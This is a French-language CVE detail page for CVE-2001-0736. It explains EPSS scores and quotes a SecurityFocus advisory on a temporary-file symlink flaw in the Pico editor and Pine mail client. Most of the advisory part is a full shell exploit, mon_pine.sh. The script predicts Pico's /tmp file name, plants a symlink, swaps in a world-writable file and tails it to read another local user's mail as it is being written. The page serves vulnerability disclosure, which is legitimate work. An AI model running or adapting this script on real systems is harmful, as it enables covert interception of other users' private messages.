CVE-2001-0736 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/2097/info A vulnerability exists in several versions of University of Washington's Pico, a widely-distributed text editor shipped with most versions of Linux / Unix. Under very specific circumstances, it is possible to cause this version of Pico to overwrite arbitrary files with the privilege level of the victim user. As a result, if the attacker is able to correctly predict the name of the editor's temporary file, the current contents of the editor can be written to key system files or other data to which the user has write privileges. Depending on the user's privilege level, this could have a range of negative impacts on the host's security and operation. Versions 3.8 and 4.3 of Pico have been confirmed vulnerable. Other versions are likely affected as well. Note that, because the popular mail client Pine uses Pico as its editor, Pine is also vulnerable to this issue. --------------------mon_pine.sh start-------------------------------- #!/bin/sh # Grab local pine messages # Usage: ./mon_pine.sh <pid of pine process> # victim pine must use following settings # # mat@hacksware.com # http://hacksware.com # # [x] enable-alternate-editor-cmd # [x] enable-alternate-editor-implicitly # editor = /usr/bin/vi # PID=$1 PICO_FILE=`printf "/tmp/pico.%.6d" $PID` TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"` echo PICO_FILE is $PICO_FILE #if $PICO_FILE and $TRASHCAN exists, remove them if test -f $PICO_FILE then rm -f $PICO_FILE fi if test -f $TRASHCAN then rm -f $TRASHCAN fi ln -s $TRASHCAN $PICO_FILE while : do if test -f $TRASHCAN then break fi done echo Victim is Editing Pine Message rm -f $PICO_FILE echo We replace temporary file touch $PICO_FILE chmod 777 $PICO_FILE echo "Get the message from "$PICO_FILE echo "^C to break tailer" tail -f $PICO_FILE --------------------mon_pine.sh end --------------------------------
